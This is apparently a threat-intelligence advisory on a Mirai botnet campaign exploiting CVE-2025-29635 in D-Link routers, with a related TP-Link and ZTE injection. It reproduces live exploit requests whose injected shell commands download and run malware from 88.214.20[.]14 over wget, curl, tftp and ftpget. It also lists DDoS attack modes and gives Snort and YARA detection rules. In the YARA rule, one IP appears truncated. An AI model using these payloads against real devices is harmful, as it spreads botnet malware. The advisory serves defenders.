CVE-2025-29635：Mirai 僵尸网络活动的目标是 D-Link 设备

POST /goform/set_prohibiting HTTP/1.1
Host: 192.168.122.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Origin: http://192.168.122.130
Connection: close
Referer: http://192.168.122.130/login.html
Cookie: sessionid=00000000000000000000000000000000; token=00000000000000000000000000000000

macaddr=||touch%20/set_prohibiting||&token=00000000000000000000000000000000

POST /goform/set_prohibiting HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

parameter=;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://88.214.20[.]14/dlink.sh -O dlink.sh; curl -o dlink.sh http://88.214.20[.]14/dlink.sh; wget http://88.214.20[.]14/dlink.sh; chmod 777 dlink.sh; sh dlink.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh;

TCP STOMP
TCP ACK
TCP SYN
STD
GRE ETH
UDP DNS
UDP VSE
UDP PLAIN
UDP GENERIC
RAW
XMAS
HTTP NULL

POST /cgi-bin/luci/;stok=/local?form=country HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded

operation=write&country=$(id>curl -o tplinkwan.sh http://88.214.20[.]14/tplinkwan.sh; wget http://88.214.20[.]14/tplinkwan.sh; chmod 777 tplinkwan.sh; sh tplinkwan.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh)

POST /manager_dev_ping_t HTTP/1.1
Host: honeypot_ip:8083
User-Agent: Go-http-client/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded

&Host=;$(cd /tmp;wget http://88.214.20[.]14/bins/tux.mips; chmod 777 tux.mips; ./tux.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit

alert ip any any -> [88.214.20.14, 64.89.161.130] any (
    msg:"Possible Botnet Infrastructure Activity - Suspicious IP"; 
    sid:2000003; 
    rev:1; 
    threshold:type limit, track by_src, count 1, seconds 600; 
    classtype:trojan-activity; 
    metadata:service http, malware;
)

rule Mirai_Malware_IOCs_1
{
    meta:
        description = "Detects files containing IOCs associated with potential Mirai malware"
        author = "Akamai SIRT"
        date = "2026-03-27"
        source = "Akamai SIRT"
        malware_family = "Mirai"
        version = "1.0"

    strings:
        $string1 = "segmentation fault (core dumped)"
        $string2 = “AI.NEEDS.TO.DIE”

        $ip1 = "88.214.20.14"
        $ip2 = "64.89.161.13"

        $hash1 = "32ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100"
        $hash2 = "be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b"
        $hash3 = "d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7"
        $hash4 = "7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8"
        $hash5 = "72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8"

    condition:
        (
            $string1 or
            $string2 or
            $ip1 or
            $ip2 or
            $hash1 or
            $hash2 or
            $hash3 or
            $hash4 or
            $hash5
        )
}